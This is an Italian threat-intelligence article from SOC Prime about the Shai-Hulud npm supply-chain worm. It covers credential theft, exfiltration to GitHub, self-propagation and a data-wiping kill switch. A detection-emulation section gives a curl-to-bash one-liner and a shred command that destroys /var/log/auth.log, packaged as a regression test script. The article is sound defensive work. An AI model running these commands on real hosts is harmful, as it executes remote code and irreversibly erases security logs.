SOC Prime Bias: Critico

28 Nov 2025 18:53

Shai-Hulud: Attacco diffuso alla supply chain di npm

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
Shai-Hulud: Attacco diffuso alla supply chain di npm
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Riassunto

GitLab ha rivelato un’ampia intrusione nella supply chain mirata agli ecosistemi npm. La campagna distribuisce una variante aggiornata del malware Shai-Hulud tramite script di preinstallazione dannosi. Questo payload raccoglie credenziali cloud e di codici ospitati, convoglia i dati verso repository GitHub controllati dall’attaccante e si diffonde ulteriormente ripubblicando pacchetti trojanizzati. Un interruttore di emergenza incorporato può cancellare o corrompere i file degli utenti se l’infrastruttura dell’attaccante viene interrotta.

Indagine

Il team di ricerca sulle vulnerabilità di GitLab ha rintracciato l’attività fino a pacchetti npm contaminati il cui pacchetto.json modificato fa riferimento a un loader setup_bun.js. Questo loader installa il runtime Bun e innesca un payload bun_environment.js incluso che raccoglie credenziali, esegue Trufflehog per scoprire segreti e carica i risultati in un repository GitHub pubblico. Il malware avvia anche nuovi repository GitHub come depositi temporanei e abusa dei token npm rubati per ripubblicare pacchetti compromessi. Se l’accesso a GitHub e npm viene interrotto, il payload procede a eliminare o sovrascrivere i file degli utenti.

Mitigazione

GitLab consiglia alle organizzazioni di ispezionare le dipendenze npm per script di preinstallazione inattesi e di convalidare l’integrità dei pacchetti pubblicati. I team dovrebbero rimuovere i loader setup_bun.js non autorizzati, revocare i token npm e GitHub esposti e osservare i repository GitHub sospetti contrassegnati con il marcatore “Sha1-Hulud: The Second Coming”. La protezione degli endpoint dovrebbe essere configurata per bloccare script Node non attendibili e per rilevare le righe di comando distruttive documentate nel rapporto.

Risposta

Quando l’attività viene rilevata, isolare il sistema impattato, revocare tutte le credenziali compromesse e purgare i pacchetti npm dannosi dai registri interni. Eseguire una revisione forense per confermare o escludere esfiltrazione di dati e distruzione di file. Emettere nuove credenziali per le piattaforme cloud e GitHub, e monitorare continuamente GitHub per i repository recentemente creati che corrispondono al marcatore dell’attaccante. Infine, rinforzare le pipeline CI/CD per proibire script di preinstallazione arbitrari.

mermaid graph TB %% Class definitions classDef technique fill:#99ccff classDef file fill:#ffcc99 classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef operator fill:#ff9900 %% Nodes – Attack Techniques tech_supply_chain[“<b>Tecnica</b> – <b>T1195.001 Compromissione della Catena di Fornitura</b>: Pacchetti npm dannosi pubblicano un package.json modificato che aggiunge uno script di preinstallazione”] class tech_supply_chain technique tech_client_exec[“<b>Tecnica</b> – <b>T1203 Sfruttamento per Esecuzione Cliente</b>: npm esegue lo script di preinstallazione durante l’installazione del pacchetto, eseguendo lo script dannoso setup_bun.js”] class tech_client_exec technique tech_software_ext[“<b>Tecnica</b> – <b>T1176 Estensioni Software</b>: Lo script di preinstallazione agisce come un’estensione dannosa del pacchetto legittimo”] class tech_software_ext technique tech_obfuscate[“<b>Tecnica</b> – <b>T1027 File o Informazioni Offuscati</b>: Viene scaricato un ampio payload offuscato bun_environment.js”] class tech_obfuscate technique tech_decode[“<b>Tecnica</b> – <b>T1140 Deoffusca/Decodifica File o Informazioni</b>: Il payload viene decodificato prima dell’esecuzione”] class tech_decode technique tech_hidden_files[“<b>Tecnica</b> – <b>T1564.001 File e Directory Nascosti</b>: Crea .truffler-cache/ e sottodirectory”] class tech_hidden_files technique tech_path_excl[“<b>Tecnica</b> – <b>T1564.012 Esclusioni di Percorso File</b>: Archivia binari dannosi in percorsi nascosti per evitare rilevamenti”] class tech_path_excl technique tech_cred_in_files[“<b>Tecnica</b> – <b>T1552.001 Credenziali nei File</b>: Analizza .npmrc, variabili d’ambiente e file di configurazione per token cloud e repository”] class tech_cred_in_files technique tech_auto_collect[“<b>Tecnica</b> – <b>T1119 Raccolta Automatica</b>: Esegue Trufflehog per raccogliere segreti dal file system”] class tech_auto_collect technique tech_exfil_repo[“<b>Tecnica</b> – <b>T1567.001 Esfiltrazione a Repository di Codice</b>: Usa un token GitHub rubato per creare repository pubblici e caricare credenziali”] class tech_exfil_repo technique tech_destructive[“<b>Tecnica</b> – <b>T1565 Manipolazione dei Dati</b>: Esegue comandi distruttivi (del, cipher, shred) per eliminare e sovrascrivere i dati utente”] class tech_destructive technique tech_impair[“<b>Tecnica</b> – <b>T1562 Compromissione delle Difese</b>: Un interruttore di emergenza disabilita il recupero distruggendo i dati”] class tech_impair technique tech_propagate[“<b>Tecnica</b> – <b>T1195.001 Propagazione nella Catena di Fornitura</b>: Usa token npm rubati per iniettare script di preinstallazione dannosi nei pacchetti vittima e ripubblicarli”] class tech_propagate technique %% Nodes – Files and Tools file_package_json[“<b>File</b>: package.json con script di preinstallazione dannoso”] class file_package_json file file_setup_bun[“<b>File</b>: setup_bun.js (script di preinstallazione)”] class file_setup_bun file file_bun_env[“<b>File</b>: bun_environment.js (payload offuscato)”] class file_bun_env file file_trufflehog[“<b>Strumento</b>: Binario Trufflehog salvato in .truffler-cache”] class file_trufflehog tool file_hidden_dir[“<b>File</b>: Directory nascosta .truffler-cache/”] class file_hidden_dir file file_github_repo[“<b>File</b>: Repository GitHub pubblico creato per esfiltrazione”] class file_github_repo file %% Edges – Attack Flow tech_supply_chain u002du002d>|aggiunge script di preinstallazione| file_package_json file_package_json u002du002d>|triggers durante l’installazione di npm| tech_client_exec tech_client_exec u002du002d>|esegue| file_setup_bun file_setup_bun u002du002d>|scarica| file_bun_env file_bun_env u002du002d>|è| tech_obfuscate tech_obfuscate u002du002d>|richiede| tech_decode tech_decode u002du002d>|produce payload eseguibile| tech_software_ext tech_software_ext u002du002d>|crea| file_hidden_dir file_hidden_dir u002du002d>|memorizza| file_trufflehog file_trufflehog u002du002d>|usato per| tech_auto_collect tech_auto_collect u002du002d>|raccoglie credenziali| tech_cred_in_files tech_cred_in_files u002du002d>|fornisce token a| tech_exfil_repo tech_exfil_repo u002du002d>|carica dati su| file_github_repo tech_exfil_repo u002du002d>|se token persi scatena| tech_destructive tech_destructive u002du002d>|disabilita recupero tramite| tech_impair tech_impair u002du002d>|abilita| tech_propagate tech_propagate u002du002d>|inietta script di preinstallazione dannoso in nuovi pacchetti npm| tech_supply_chain %% Styling class tech_supply_chain,tech_client_exec,tech_software_ext,tech_obfuscate,tech_decode,tech_hidden_files,tech_path_excl,tech_cred_in_files,tech_auto_collect,tech_exfil_repo,tech_destructive,tech_impair,tech_propagate technique class file_package_json,file_setup_bun,file_bun_env,file_hidden_dir,file_github_repo file class file_trufflehog tool

Flusso di Attacco

Esecuzione di Simulazione

Prerequisito: Il Check Pre-volo di Telemetria & Baseline deve essere stato superato.

Narrativa e Comandi dell’Attacco

L’avversario ha ottenuto un punto d’appoggio sull’host Linux compromesso. Per stabilire un runtime persistente in grado di eseguire ulteriori payload basati su JavaScript, scaricano e installano il runtime Bun tramite una one-liner che trasmette direttamente il programma di installazione in bash. Subito dopo aver confermato la presenza del runtime, l’attaccante innesca un “interruttore di emergenza” (simulato qui da un temporizzato sleep) che avvia un’operazione di shred per eliminare irrimediabilmente un file sensibile (/var/log/auth.log).

I passaggi sono:

  1. Scarica e installa Bun:
    curl -fsSL https://bun.sh/install | bash
  2. Attendi brevemente (simulando il timing dell’interruttore).
  3. Esegui shred distruttivo:
    shred -uvz -n 1 /var/log/auth.log

Entrambi i comandi generano eventi di creazione del processo che corrispondono esattamente alle parole chiave della regola Sigma.

Script di Test di Regressione

#!/bin/bash
# -------------------------------------------------
# Simula il comportamento “Bun install + shred” di Shai-Hulud
# -------------------------------------------------

# 1️⃣ Installa Bun (comando esatto richiesto per il rilevamento)
echo "[*] Installando runtime Bun..."
curl -fsSL https://bun.sh/install | bash

# Breve pausa per emulare tempistica realistica
sleep 5

# 2️⃣ Esegui cancellazione distruttiva del file (comando esatto richiesto)
TARGET_FILE="/var/log/auth.log"
if [[ -f "$TARGET_FILE" ]]; then
    echo "[*] Eliminazione di $TARGET_FILE ..."
    shred -uvz -n 1 "$TARGET_FILE"
else
    echo "[!] File di destinazione non trovato; creando file di esempio per la demo."
    echo "dummy data" > "$TARGET_FILE"
    shred -uvz -n 1 "$TARGET_FILE"
fi

echo "[*] Simulazione completata."

Comandi di Pulizia

#!/bin/bash
# -------------------------------------------------
# Pulizia post-simulazione Bun/Shred
# -------------------------------------------------

# Rimuovi eventuali file residui di Bun (se installati)
if command -v bun >/dev/null 2>&1; then
    echo "[*] Rimuovendo runtime Bun..."
    rm -rf "$HOME/.bun"
    rm -f /usr/local/bin/bun
fi

# Ricrea il file di log eliminato (per la stabilità del sistema)
TARGET_FILE="/var/log/auth.log"
if [[ ! -f "$TARGET_FILE" ]]; then
    echo "segnaposto log ricreato" | sudo tee "$TARGET_FILE" >/dev/null
    sudo chmod 600 "$TARGET_FILE"
fi

echo "[*] Pulizia completata."